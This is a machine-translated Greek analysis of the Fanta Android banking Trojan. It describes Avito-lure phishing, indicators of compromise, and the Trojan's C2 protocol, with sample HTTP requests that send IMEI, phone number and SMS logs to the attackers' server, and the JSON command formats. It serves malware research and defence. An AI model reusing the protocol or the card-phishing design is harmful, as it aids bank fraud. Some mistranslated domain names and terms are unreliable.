Leisya, Fanta: νέες τακτικές του παλιού Android Trojan

Leisya, Fanta: νέες τακτικές του παλιού Android Trojan

Μια μέρα θέλετε να πουλήσετε κάτι στο Avito και, έχοντας δημοσιεύσει μια λεπτομερή περιγραφή του προϊόντος σας (για παράδειγμα, μια μονάδα RAM), θα λάβετε αυτό το μήνυμα:

Leisya, Fanta: νέες τακτικές του παλιού Android TrojanΜόλις ανοίξετε τον σύνδεσμο, θα δείτε μια φαινομενικά αβλαβή σελίδα που σας ειδοποιεί, τον χαρούμενο και επιτυχημένο πωλητή, ότι πραγματοποιήθηκε μια αγορά:

Leisya, Fanta: νέες τακτικές του παλιού Android Trojan
Μόλις κάνετε κλικ στο κουμπί "Συνέχεια", ένα αρχείο APK με ένα εικονίδιο και ένα όνομα που εμπνέει εμπιστοσύνη θα γίνει λήψη στη συσκευή σας Android. Εγκατέστησες μια εφαρμογή που για κάποιο λόγο ζητούσε δικαιώματα AccessibilityService, μετά εμφανίστηκαν μερικά παράθυρα και γρήγορα εξαφανίστηκαν και... Αυτό ήταν.

Πηγαίνετε για να ελέγξετε το υπόλοιπό σας, αλλά για κάποιο λόγο η τραπεζική σας εφαρμογή ζητά ξανά τα στοιχεία της κάρτας σας. Αφού εισαγάγετε τα δεδομένα, συμβαίνει κάτι τρομερό: για κάποιο λόγο που είναι ακόμα ασαφής για εσάς, τα χρήματα αρχίζουν να εξαφανίζονται από τον λογαριασμό σας. Προσπαθείτε να λύσετε το πρόβλημα, αλλά το τηλέφωνό σας αντιστέκεται: πατά τα πλήκτρα "Πίσω" και "Αρχική σελίδα", δεν απενεργοποιείται και δεν σας επιτρέπει να ενεργοποιήσετε κανένα μέτρο ασφαλείας. Ως αποτέλεσμα, μένεις χωρίς χρήματα, τα αγαθά σου δεν έχουν αγοραστεί, μπερδεύεσαι και αναρωτιέσαι: τι συνέβη;

Η απάντηση είναι απλή: έχετε πέσει θύμα του Android Trojan Fanta, μέλος της οικογένειας Flexnet. Πως εγινε αυτο? Ας εξηγήσουμε τώρα.

Συγγραφείς: Αντρέι Πολοβίνκιν, κατώτερος ειδικός στην ανάλυση κακόβουλου λογισμικού, Ιβάν Πισάρεφ, ειδικός στην ανάλυση κακόβουλου λογισμικού.

Μερικά στατιστικά στοιχεία

Η οικογένεια Flexnet των Android Trojans έγινε για πρώτη φορά γνωστή το 2015. Κατά τη διάρκεια μιας αρκετά μεγάλης περιόδου δραστηριότητας, η οικογένεια επεκτάθηκε σε πολλά υποείδη: Fanta, Limebot, Lipton κ.λπ. Το Trojan, καθώς και η υποδομή που σχετίζεται με αυτό, δεν στέκονται ακίνητα: αναπτύσσονται νέα αποτελεσματικά σχήματα διανομής - στην περίπτωσή μας, σελίδες phishing υψηλής ποιότητας που απευθύνονται σε συγκεκριμένο χρήστη-πωλητή και οι προγραμματιστές Trojan ακολουθούν τις μοντέρνες τάσεις στο εγγραφή ιών - προσθήκη νέας λειτουργικότητας που καθιστά δυνατή την πιο αποτελεσματική κλοπή χρημάτων από μολυσμένες συσκευές και παράκαμψη μηχανισμών προστασίας.

Η καμπάνια που περιγράφεται σε αυτό το άρθρο απευθύνεται σε χρήστες από τη Ρωσία· ένας μικρός αριθμός μολυσμένων συσκευών καταγράφηκε στην Ουκρανία και ακόμη λιγότερες στο Καζακστάν και τη Λευκορωσία.

Παρόλο που το Flexnet βρίσκεται στην αρένα του Android Trojan για πάνω από 4 χρόνια τώρα και έχει μελετηθεί λεπτομερώς από πολλούς ερευνητές, εξακολουθεί να είναι σε καλή κατάσταση. Από τον Ιανουάριο του 2019, το πιθανό ποσό ζημιάς είναι πάνω από 35 εκατομμύρια ρούβλια - και αυτό ισχύει μόνο για εκστρατείες στη Ρωσία. Το 2015, διάφορες εκδόσεις αυτού του Android Trojan πωλήθηκαν σε υπόγεια φόρουμ, όπου μπορούσε να βρεθεί και ο πηγαίος κώδικας του Trojan με λεπτομερή περιγραφή. Αυτό σημαίνει ότι τα στατιστικά στοιχεία των ζημιών στον κόσμο είναι ακόμη πιο εντυπωσιακά. Δεν είναι κακός δείκτης για έναν τόσο γέρο, έτσι δεν είναι;

Leisya, Fanta: νέες τακτικές του παλιού Android Trojan

Από την πώληση στην εξαπάτηση

Όπως φαίνεται από το στιγμιότυπο οθόνης που παρουσιάστηκε προηγουμένως μιας σελίδας phishing για την υπηρεσία Διαδικτύου για δημοσίευση διαφημίσεων Avito, είχε προετοιμαστεί για ένα συγκεκριμένο θύμα. Προφανώς, οι εισβολείς χρησιμοποιούν έναν από τους αναλυτές της Avito, ο οποίος εξάγει τον αριθμό τηλεφώνου και το όνομα του πωλητή, καθώς και την περιγραφή του προϊόντος. Μετά την επέκταση της σελίδας και την προετοιμασία του αρχείου APK, αποστέλλεται στο θύμα ένα SMS με το όνομά του και ένας σύνδεσμος προς μια σελίδα phishing που περιέχει μια περιγραφή του προϊόντος του και το ποσό που έλαβε από την «πώληση» του προϊόντος. Κάνοντας κλικ στο κουμπί, ο χρήστης λαμβάνει ένα κακόβουλο αρχείο APK - Fanta.

Μια μελέτη του τομέα shcet491[.]ru έδειξε ότι έχει εκχωρηθεί στους διακομιστές DNS του Hostinger:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

Το αρχείο ζώνης τομέα περιέχει εγγραφές που δείχνουν τις διευθύνσεις IP 31.220.23[.]236, 31.220.23[.]243 και 31.220.23[.]235. Ωστόσο, η εγγραφή πρωτεύοντος πόρου του τομέα (A record) οδηγεί σε διακομιστή με διεύθυνση IP 178.132.1[.]240.

Η διεύθυνση IP 178.132.1[.]240 βρίσκεται στην Ολλανδία και ανήκει στον οικοδεσπότη WorldStream. Οι διευθύνσεις IP 31.220.23[.]235, 31.220.23[.]236 και 31.220.23[.]243 βρίσκονται στο Ηνωμένο Βασίλειο και ανήκουν στον κοινόχρηστο διακομιστή φιλοξενίας HOSTINGER. Χρησιμοποιείται ως συσκευή εγγραφής openprov-ru. Οι ακόλουθοι τομείς επιλύθηκαν επίσης στη διεύθυνση IP 178.132.1[.]240:

  • sdelka-ru[.]ru
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

Θα πρέπει να σημειωθεί ότι οι σύνδεσμοι στην ακόλουθη μορφή ήταν διαθέσιμοι σχεδόν από όλους τους τομείς:

http://(www.){0,1}<%domain%>/[0-9]{7}

Αυτό το πρότυπο περιλαμβάνει επίσης έναν σύνδεσμο από ένα μήνυμα SMS. Με βάση ιστορικά δεδομένα, διαπιστώθηκε ότι ένας τομέας αντιστοιχεί σε πολλούς συνδέσμους στο μοτίβο που περιγράφηκε παραπάνω, το οποίο υποδεικνύει ότι ένας τομέας χρησιμοποιήθηκε για τη διανομή του Trojan σε πολλά θύματα.

Ας προχωρήσουμε λίγο: το Trojan που λήφθηκε μέσω ενός συνδέσμου από ένα SMS χρησιμοποιεί τη διεύθυνση ως διακομιστή ελέγχου onusedseddohap[.]κλαμπ. Αυτός ο τομέας καταχωρήθηκε στις 2019-03-12 και από τις 2019-04-29, οι εφαρμογές APK αλληλεπιδρούσαν με αυτόν τον τομέα. Με βάση τα δεδομένα που ελήφθησαν από το VirusTotal, συνολικά 109 εφαρμογές αλληλεπιδρούσαν με αυτόν τον διακομιστή. Ο ίδιος ο τομέας επιλύθηκε στη διεύθυνση IP 217.23.14[.]27, βρίσκεται στην Ολλανδία και ανήκει στον οικοδεσπότη WorldStream. Χρησιμοποιείται ως συσκευή εγγραφής επωνυμία. Οι τομείς επιλύθηκαν επίσης σε αυτήν τη διεύθυνση IP bad-racoon[.]club (από 2018-09-25) και bad-racoon[.]ζω (από 2018-10-25). Με domain bad-racoon[.]club αλληλεπίδρασαν με περισσότερα από 80 αρχεία APK bad-racoon[.]ζω - περισσότερα από 100.

Γενικά, η επίθεση εξελίσσεται ως εξής:

Leisya, Fanta: νέες τακτικές του παλιού Android Trojan

Τι υπάρχει κάτω από το καπάκι του Fanta;

Όπως πολλά άλλα Android Trojans, το Fanta είναι σε θέση να διαβάζει και να στέλνει μηνύματα SMS, να κάνει αιτήματα USSD και να εμφανίζει τα δικά του παράθυρα πάνω από εφαρμογές (συμπεριλαμβανομένων των τραπεζικών). Ωστόσο, το οπλοστάσιο λειτουργικότητας αυτής της οικογένειας έφτασε: το Fanta άρχισε να χρησιμοποιεί Προσβασιμότητα Υπηρεσία για διάφορους σκοπούς: ανάγνωση του περιεχομένου των ειδοποιήσεων από άλλες εφαρμογές, αποτροπή εντοπισμού και διακοπή της εκτέλεσης ενός Trojan σε μια μολυσμένη συσκευή κ.λπ. Το Fanta λειτουργεί σε όλες τις εκδόσεις του Android όχι νεότερες από 4.4. Σε αυτό το άρθρο θα ρίξουμε μια πιο προσεκτική ματιά στο παρακάτω δείγμα Fanta:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Αμέσως μετά την εκτόξευση

Αμέσως μετά την εκτόξευση, το Trojan κρύβει το εικονίδιό του. Η εφαρμογή μπορεί να λειτουργήσει μόνο εάν το όνομα της μολυσμένης συσκευής δεν βρίσκεται στη λίστα:

  • android_x86
  • VirtualBox
  • Nexus 5X (bullhead)
  • Nexus 5 (ξυράφι)

Αυτός ο έλεγχος πραγματοποιείται στην κύρια υπηρεσία του Trojan - MainService. Όταν εκκινείται για πρώτη φορά, οι παράμετροι διαμόρφωσης της εφαρμογής αρχικοποιούνται στις προεπιλεγμένες τιμές (η μορφή αποθήκευσης δεδομένων διαμόρφωσης και η σημασία τους θα συζητηθεί αργότερα) και μια νέα μολυσμένη συσκευή καταχωρείται στον διακομιστή ελέγχου. Ένα αίτημα HTTP POST με τον τύπο μηνύματος θα σταλεί στον διακομιστή register_bot και πληροφορίες σχετικά με τη μολυσμένη συσκευή (έκδοση Android, IMEI, αριθμός τηλεφώνου, όνομα χειριστή και κωδικός χώρας στην οποία είναι εγγεγραμμένος ο χειριστής). Η διεύθυνση χρησιμεύει ως διακομιστής ελέγχου hXXp://onuseseddohap[.]club/controller.php. Σε απόκριση, ο διακομιστής στέλνει ένα μήνυμα που περιέχει τα πεδία bot_id, bot_pwd, διακομιστής — η εφαρμογή αποθηκεύει αυτές τις τιμές ως παραμέτρους του διακομιστή CnC. Παράμετρος διακομιστής προαιρετικό εάν το πεδίο δεν ελήφθη: Η Fanta χρησιμοποιεί τη διεύθυνση εγγραφής - hXXp://onuseseddohap[.]club/controller.php. Η λειτουργία αλλαγής της διεύθυνσης CnC μπορεί να χρησιμοποιηθεί για την επίλυση δύο προβλημάτων: για την ομοιόμορφη κατανομή του φορτίου μεταξύ πολλών διακομιστών (εάν υπάρχει μεγάλος αριθμός μολυσμένων συσκευών, το φορτίο σε έναν μη βελτιστοποιημένο διακομιστή ιστού μπορεί να είναι υψηλό), καθώς και για τη χρήση έναν εναλλακτικό διακομιστή σε περίπτωση αποτυχίας ενός από τους διακομιστές CnC.

Εάν παρουσιαστεί σφάλμα κατά την αποστολή του αιτήματος, ο Trojan θα επαναλάβει τη διαδικασία εγγραφής μετά από 20 δευτερόλεπτα.

Μόλις η συσκευή εγγραφεί επιτυχώς, το Fanta θα εμφανίσει το ακόλουθο μήνυμα στον χρήστη:

Leisya, Fanta: νέες τακτικές του παλιού Android Trojan
Σημαντική σημείωση: η υπηρεσία κάλεσε Ασφάλεια συστήματος — το όνομα της υπηρεσίας Trojan και αφού κάνετε κλικ στο κουμπί ОК Θα ανοίξει ένα παράθυρο με τις ρυθμίσεις Προσβασιμότητας της μολυσμένης συσκευής, όπου ο χρήστης πρέπει να εκχωρήσει δικαιώματα Προσβασιμότητας για την κακόβουλη υπηρεσία:

Leisya, Fanta: νέες τακτικές του παλιού Android Trojan
Μόλις ενεργοποιηθεί ο χρήστης Προσβασιμότητα Υπηρεσία, το Fanta αποκτά πρόσβαση στα περιεχόμενα των παραθύρων της εφαρμογής και στις ενέργειες που εκτελούνται σε αυτά:

Leisya, Fanta: νέες τακτικές του παλιού Android Trojan
Αμέσως μετά τη λήψη των δικαιωμάτων προσβασιμότητας, το Trojan ζητά δικαιώματα διαχειριστή και δικαιώματα ανάγνωσης ειδοποιήσεων:

Leisya, Fanta: νέες τακτικές του παλιού Android Trojan
Χρησιμοποιώντας την AccessibilityService, η εφαρμογή προσομοιώνει τα πλήκτρα, δίνοντας έτσι στον εαυτό της όλα τα απαραίτητα δικαιώματα.

Η Fanta δημιουργεί πολλαπλές παρουσίες βάσης δεδομένων (οι οποίες θα περιγραφούν αργότερα) που είναι απαραίτητες για την αποθήκευση δεδομένων διαμόρφωσης, καθώς και πληροφοριών που συλλέγονται κατά τη διαδικασία σχετικά με τη μολυσμένη συσκευή. Για την αποστολή των συλλεγόμενων πληροφοριών, το Trojan δημιουργεί μια επαναλαμβανόμενη εργασία σχεδιασμένη για λήψη πεδίων από τη βάση δεδομένων και λήψη εντολής από τον διακομιστή ελέγχου. Το διάστημα για την πρόσβαση στο CnC ορίζεται ανάλογα με την έκδοση Android: στην περίπτωση 5.1, το διάστημα θα είναι 10 δευτερόλεπτα, διαφορετικά 60 δευτερόλεπτα.

Για να λάβει την εντολή, η Fanta κάνει ένα αίτημα GetTask στον διακομιστή διαχείρισης. Σε απόκριση, το CnC μπορεί να στείλει μία από τις ακόλουθες εντολές:

Ομάδα Περιγραφή
0 Αποστολή μηνύματος SMS
1 Πραγματοποιήστε μια τηλεφωνική κλήση ή εντολή USSD
2 Ενημερώνει μια παράμετρο διάστημα
3 Ενημερώνει μια παράμετρο υποκλέψει
6 Ενημερώνει μια παράμετρο smsManager
9 Ξεκινήστε τη συλλογή μηνυμάτων SMS
11 Επαναφέρετε το τηλέφωνό σας στις εργοστασιακές ρυθμίσεις
12 Ενεργοποίηση/απενεργοποίηση καταγραφής δημιουργίας πλαισίου διαλόγου

Η Fanta συλλέγει επίσης ειδοποιήσεις από 70 τραπεζικές εφαρμογές, συστήματα γρήγορων πληρωμών και ηλεκτρονικά πορτοφόλια και τις αποθηκεύει σε μια βάση δεδομένων.

Αποθήκευση παραμέτρων διαμόρφωσης

Για την αποθήκευση των παραμέτρων διαμόρφωσης, το Fanta χρησιμοποιεί μια τυπική προσέγγιση για την πλατφόρμα Android - Προτιμήσεις-αρχεία. Οι ρυθμίσεις θα αποθηκευτούν σε ένα αρχείο με το όνομα ρυθμίσεις. Μια περιγραφή των αποθηκευμένων παραμέτρων βρίσκεται στον παρακάτω πίνακα.

Όνομα Προεπιλεγμένη τιμή Πιθανές τιμές Περιγραφή
id 0 Ακέραιος αριθμός Αναγνωριστικό bot
διακομιστής hXXp://onuseseddohap[.]club/ URL Έλεγχος διεύθυνσης διακομιστή
pwd - Σπάγγος Κωδικός πρόσβασης διακομιστή
διάστημα 20 Ακέραιος αριθμός Χρονικό διάστημα. Υποδεικνύει πόσο χρόνο θα πρέπει να αναβληθούν οι ακόλουθες εργασίες:

  • Κατά την αποστολή αιτήματος σχετικά με την κατάσταση ενός απεσταλμένου μηνύματος SMS
  • Λήψη νέας εντολής από τον διακομιστή διαχείρισης

υποκλέψει όλοι all/telNumber Αν το πεδίο είναι ίσο με τη συμβολοσειρά όλοι ή telNumber, τότε το ληφθέν μήνυμα SMS θα υποκλαπεί από την εφαρμογή και δεν θα εμφανιστεί στον χρήστη
smsManager 0 0/1 Ενεργοποίηση/απενεργοποίηση της εφαρμογής ως προεπιλεγμένου παραλήπτη SMS
readDialog ψευδής Σωστό Λάθος Ενεργοποίηση/Απενεργοποίηση καταγραφής συμβάντων Προσβασιμότητα Εκδήλωση

Το Fanta χρησιμοποιεί επίσης το αρχείο smsManager:

Όνομα Προεπιλεγμένη τιμή Πιθανές τιμές Περιγραφή
pckg - Σπάγγος Όνομα του διαχειριστή μηνυμάτων SMS που χρησιμοποιείται

Αλληλεπίδραση με βάσεις δεδομένων

Κατά τη λειτουργία του, το Trojan χρησιμοποιεί δύο βάσεις δεδομένων. Βάση δεδομένων με όνομα a χρησιμοποιείται για την αποθήκευση διαφόρων πληροφοριών που συλλέγονται από το τηλέφωνο. Η δεύτερη βάση δεδομένων ονομάζεται fanta.db και χρησιμοποιείται για την αποθήκευση ρυθμίσεων που είναι υπεύθυνες για τη δημιουργία παραθύρων phishing που έχουν σχεδιαστεί για τη συλλογή πληροφοριών σχετικά με τραπεζικές κάρτες.

Το Trojan χρησιμοποιεί βάση δεδομένων а για να αποθηκεύσετε συλλεγμένες πληροφορίες και να καταγράψετε τις ενέργειές σας. Τα δεδομένα αποθηκεύονται σε έναν πίνακα κορμούς. Για να δημιουργήσετε έναν πίνακα, χρησιμοποιήστε το ακόλουθο ερώτημα SQL:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

Η βάση δεδομένων περιέχει τις ακόλουθες πληροφορίες:

1. Καταγραφή της εκκίνησης της μολυσμένης συσκευής με ένα μήνυμα Το τηλέφωνο άνοιξε!

2. Ειδοποιήσεις από εφαρμογές. Το μήνυμα δημιουργείται σύμφωνα με το ακόλουθο πρότυπο:

(<%App Name%>)<%Title%>: <%Notification text%>

3. Δεδομένα τραπεζικής κάρτας από φόρμες phishing που δημιουργήθηκαν από το Trojan. Παράμετρος VIEW_NAME μπορεί να είναι ένα από τα ακόλουθα:

  • AliExpress
  • Avito
  • Το Google Play
  • Διάφορα <%Όνομα εφαρμογής%>

Το μήνυμα καταγράφεται στη μορφή:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. Εισερχόμενα/εξερχόμενα μηνύματα SMS στη μορφή:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. Πληροφορίες σχετικά με το πακέτο που δημιουργεί το πλαίσιο διαλόγου στη μορφή:

(<%Package name%>)<%Package information%>

Παράδειγμα πίνακα κορμούς:

Leisya, Fanta: νέες τακτικές του παλιού Android Trojan
Μία από τις λειτουργίες του Fanta είναι η συλλογή πληροφοριών για τραπεζικές κάρτες. Η συλλογή δεδομένων πραγματοποιείται μέσω της δημιουργίας παραθύρων phishing κατά το άνοιγμα τραπεζικών εφαρμογών. Το Trojan δημιουργεί το παράθυρο phishing μόνο μία φορά. Οι πληροφορίες ότι το παράθυρο εμφανίστηκε στον χρήστη αποθηκεύονται σε έναν πίνακα ρυθμίσεις στη βάση δεδομένων fanta.db. Για να δημιουργήσετε μια βάση δεδομένων, χρησιμοποιήστε το ακόλουθο ερώτημα SQL:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Όλα τα πεδία πίνακα ρυθμίσεις από προεπιλογή αρχικοποιείται σε 1 (δημιουργία παραθύρου phishing). Αφού ο χρήστης εισαγάγει τα δεδομένα του, η τιμή θα οριστεί σε 0. Παράδειγμα πεδίων πίνακα ρυθμίσεις:

  • can_login — το πεδίο είναι υπεύθυνο για την εμφάνιση της φόρμας κατά το άνοιγμα μιας τραπεζικής εφαρμογής
  • first_bank - δεν χρησιμοποιείται
  • can_avito — το πεδίο είναι υπεύθυνο για την εμφάνιση της φόρμας κατά το άνοιγμα της εφαρμογής Avito
  • can_ali — το πεδίο είναι υπεύθυνο για την εμφάνιση της φόρμας κατά το άνοιγμα της εφαρμογής Aliexpress
  • μπορεί_άλλος — το πεδίο είναι υπεύθυνο για την εμφάνιση της φόρμας κατά το άνοιγμα οποιασδήποτε εφαρμογής από τη λίστα: Yula, Pandao, Drom Auto, Πορτοφόλι. Κάρτες έκπτωσης και μπόνους, Aviasales, Κράτηση, Trivago
  • can_card — το πεδίο είναι υπεύθυνο για την εμφάνιση της φόρμας κατά το άνοιγμα Το Google Play

Αλληλεπίδραση με τον διακομιστή διαχείρισης

Η αλληλεπίδραση δικτύου με τον διακομιστή διαχείρισης πραγματοποιείται μέσω του πρωτοκόλλου HTTP. Για να εργαστεί με το δίκτυο, η Fanta χρησιμοποιεί τη δημοφιλή βιβλιοθήκη Retrofit. Τα αιτήματα αποστέλλονται στη διεύθυνση: hXXp://onuseseddohap[.]club/controller.php. Η διεύθυνση διακομιστή μπορεί να αλλάξει κατά την εγγραφή στον διακομιστή. Τα cookies ενδέχεται να σταλούν ως απόκριση από τον διακομιστή. Η Fanta υποβάλλει τα ακόλουθα αιτήματα στον διακομιστή:

  • Η εγγραφή του bot στον διακομιστή ελέγχου πραγματοποιείται μία φορά, κατά την πρώτη εκκίνηση. Τα ακόλουθα δεδομένα σχετικά με τη μολυσμένη συσκευή αποστέλλονται στον διακομιστή:
    · Cookie — cookie που λαμβάνονται από τον διακομιστή (η προεπιλεγμένη τιμή είναι μια κενή συμβολοσειρά)
    · τρόπος — σταθερά χορδής register_bot
    · πρόθεμα — ακέραιος σταθερά 2
    · version_sdk — σχηματίζεται σύμφωνα με το ακόλουθο πρότυπο: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    · IMEI — IMEI της μολυσμένης συσκευής
    · χώρα — κωδικός της χώρας στην οποία είναι εγγεγραμμένος ο φορέας εκμετάλλευσης, σε μορφή ISO
    · αριθμός - τηλεφωνικό νούμερο
    · χειριστής — όνομα χειριστή

    Ένα παράδειγμα αιτήματος που αποστέλλεται στον διακομιστή:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    Σε απάντηση στο αίτημα, ο διακομιστής πρέπει να επιστρέψει ένα αντικείμενο JSON που περιέχει τις ακόλουθες παραμέτρους:
    · bot_id — Ταυτότητα της μολυσμένης συσκευής. Εάν το bot_id είναι ίσο με 0, το Fanta θα εκτελέσει ξανά το αίτημα.
    bot_pwd — κωδικός πρόσβασης για τον διακομιστή.
    υπηρέτης — έλεγχος διεύθυνσης διακομιστή. Προαιρετική παράμετρος. Εάν η παράμετρος δεν έχει καθοριστεί, θα χρησιμοποιηθεί η διεύθυνση που είναι αποθηκευμένη στην εφαρμογή.

    Παράδειγμα αντικειμένου JSON:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • Αίτημα για λήψη εντολής από τον διακομιστή. Τα ακόλουθα δεδομένα αποστέλλονται στον διακομιστή:
    · Cookie — cookies που λαμβάνονται από τον διακομιστή
    · προσφορά — αναγνωριστικό της μολυσμένης συσκευής που ελήφθη κατά την αποστολή του αιτήματος register_bot
    · pwd — κωδικός πρόσβασης για τον διακομιστή
    · divice_admin — το πεδίο καθορίζει εάν έχουν αποκτηθεί δικαιώματα διαχειριστή. Εάν έχουν αποκτηθεί δικαιώματα διαχειριστή, το πεδίο είναι ίσο με 1, σε διαφορετική περίπτωση 0
    · Προσβασιμότητα — Κατάσταση λειτουργίας της υπηρεσίας προσβασιμότητας. Εάν η υπηρεσία ξεκίνησε, η τιμή είναι 1, σε διαφορετική περίπτωση 0
    · SMSManager — δείχνει εάν το Trojan είναι ενεργοποιημένο ως η προεπιλεγμένη εφαρμογή για λήψη SMS
    · οθόνη — εμφανίζει σε ποια κατάσταση βρίσκεται η οθόνη. Η τιμή θα οριστεί 1, εάν η οθόνη είναι ενεργοποιημένη, διαφορετικά 0;

    Ένα παράδειγμα αιτήματος που αποστέλλεται στον διακομιστή:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    Ανάλογα με την εντολή, ο διακομιστής μπορεί να επιστρέψει ένα αντικείμενο JSON με διαφορετικές παραμέτρους:

    · Ομάδα Αποστολή μηνύματος SMS: Οι παράμετροι περιέχουν τον αριθμό τηλεφώνου, το κείμενο του μηνύματος SMS και το αναγνωριστικό του μηνύματος που αποστέλλεται. Το αναγνωριστικό χρησιμοποιείται κατά την αποστολή μηνύματος στον διακομιστή με τύπο setSmsStatus.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · Ομάδα Πραγματοποιήστε μια τηλεφωνική κλήση ή εντολή USSD: Ο αριθμός τηλεφώνου ή η εντολή έρχεται στο σώμα απόκρισης.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · Ομάδα Αλλαγή παραμέτρου διαστήματος.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    · Ομάδα Αλλαγή παραμέτρου τομής.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    · Ομάδα Αλλάξτε το πεδίο SmsManager.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · Ομάδα Συλλέξτε μηνύματα SMS από μια μολυσμένη συσκευή.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · Ομάδα Επαναφέρετε το τηλέφωνό σας στις εργοστασιακές ρυθμίσεις:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · Ομάδα Αλλάξτε την παράμετρο ReadDialog.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • Αποστολή μηνύματος με τύπο setSmsStatus. Αυτό το αίτημα γίνεται μετά την εκτέλεση της εντολής Αποστολή μηνύματος SMS. Το αίτημα μοιάζει με αυτό:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • Μεταφόρτωση περιεχομένων βάσης δεδομένων. Μία σειρά μεταδίδεται ανά αίτημα. Τα ακόλουθα δεδομένα αποστέλλονται στον διακομιστή:
    · Cookie — cookies που λαμβάνονται από τον διακομιστή
    · τρόπος — σταθερά χορδής setSaveInboxSms
    · προσφορά — αναγνωριστικό της μολυσμένης συσκευής που ελήφθη κατά την αποστολή του αιτήματος register_bot
    · κείμενο — κείμενο στην τρέχουσα εγγραφή βάσης δεδομένων (πεδίο d από το τραπέζι κορμούς στη βάση δεδομένων а)
    · αριθμός — όνομα της τρέχουσας εγγραφής βάσης δεδομένων (πεδίο p από το τραπέζι κορμούς στη βάση δεδομένων а)
    · sms_mode — ακέραια τιμή (πεδίο m από το τραπέζι κορμούς στη βάση δεδομένων а)

    Το αίτημα μοιάζει με αυτό:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    Εάν σταλεί επιτυχώς στον διακομιστή, η σειρά θα διαγραφεί από τον πίνακα. Παράδειγμα αντικειμένου JSON που επιστράφηκε από τον διακομιστή:

    {
        "response":[],
        "status":"ok"
    }

Αλληλεπίδραση με την AccessibilityService

Η AccessibilityService υλοποιήθηκε για να διευκολύνει τη χρήση των συσκευών Android για άτομα με αναπηρία. Στις περισσότερες περιπτώσεις, απαιτείται φυσική αλληλεπίδραση για την αλληλεπίδραση με μια εφαρμογή. Η AccessibilityService σάς επιτρέπει να τις κάνετε μέσω προγραμματισμού. Η Fanta χρησιμοποιεί την υπηρεσία για να δημιουργεί ψεύτικα παράθυρα σε τραπεζικές εφαρμογές και να εμποδίζει τους χρήστες να ανοίγουν ρυθμίσεις συστήματος και ορισμένες εφαρμογές.

Χρησιμοποιώντας τη λειτουργικότητα της AccessibilityService, το Trojan παρακολουθεί αλλαγές σε στοιχεία στην οθόνη της μολυσμένης συσκευής. Όπως περιγράφηκε προηγουμένως, οι ρυθμίσεις Fanta περιέχουν μια παράμετρο υπεύθυνη για τις λειτουργίες καταγραφής με παράθυρα διαλόγου - readDialog. Εάν οριστεί αυτή η παράμετρος, θα προστεθούν στη βάση δεδομένων πληροφορίες σχετικά με το όνομα και την περιγραφή του πακέτου που ενεργοποίησε το συμβάν. Ο Trojan εκτελεί τις ακόλουθες ενέργειες όταν ενεργοποιούνται συμβάντα:

  • Προσομοιώνει το πάτημα των πλήκτρων back και home στις ακόλουθες περιπτώσεις:
    · εάν ο χρήστης θέλει να επανεκκινήσει τη συσκευή του
